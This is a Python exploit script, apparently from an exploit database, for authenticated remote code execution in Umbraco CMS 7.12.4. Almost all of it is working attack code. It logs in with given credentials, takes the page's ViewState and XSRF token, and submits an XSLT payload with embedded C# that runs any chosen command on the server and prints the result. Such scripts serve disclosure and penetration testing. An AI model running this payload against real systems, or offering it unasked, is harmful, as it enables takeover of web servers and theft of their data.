# Exploit Title: Umbraco CMS - Authenticated Remote Code Execution # Date: 2020-03-28 # Exploit Author: Alexandre ZANNI (noraj) # Based on: https://www.exploit-db.com/exploits/46153 # Vendor Homepage: http://www.umbraco.com/ # Software Link: https://our.umbraco.com/download/releases # Version: 7.12.4 # Category: Webapps # Tested on: Windows IIS # Example: python exploit.py -u admin@example.org -p password123 -i 'http://10.0.0.1' -c ipconfig import requests import re import argparse from bs4 import BeautifulSoup parser = argparse.ArgumentParser(prog='exploit.py', description='Umbraco authenticated RCE', formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80)) parser.add_argument('-u', '--user', metavar='USER', type=str, required=True, dest='user', help='username / email') parser.add_argument('-p', '--password', metavar='PASS', type=str, required=True, dest='password', help='password') parser.add_argument('-i', '--host', metavar='URL', type=str, required=True, dest='url', help='root URL') parser.add_argument('-c', '--command', metavar='CMD', type=str, required=True, dest='command', help='command') parser.add_argument('-a', '--arguments', metavar='ARGS', type=str, required=False, dest='arguments', help='arguments', default='') args = parser.parse_args() # Payload payload = """\ <?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "%s"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "%s"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\ """ % (args.arguments, args.command) login = args.user password = args.password host = args.url # Process Login url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" loginfo = { "username": login, "password": password} s = requests.session() r2 = s.post(url_login,json=loginfo) # Go to vulnerable web page url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx" r3 = s.get(url_xslt) soup = BeautifulSoup(r3.text, 'html.parser') VIEWSTATE = soup.find(id="__VIEWSTATE")['value'] VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'] UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'] headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN} data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE, "__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR, "ctl00$body$xsltSelection": payload, "ctl00$body$contentPicker$ContentIdValue": "", "ctl00$body$visualizeDo": "Visualize+XSLT" } # Launch the attack r4 = s.post(url_xslt, data=data, headers=headers) # Filter output soup = BeautifulSoup(r4.text, 'html.parser') CMDOUTPUT = soup.find(id="result").getText() print(CMDOUTPUT)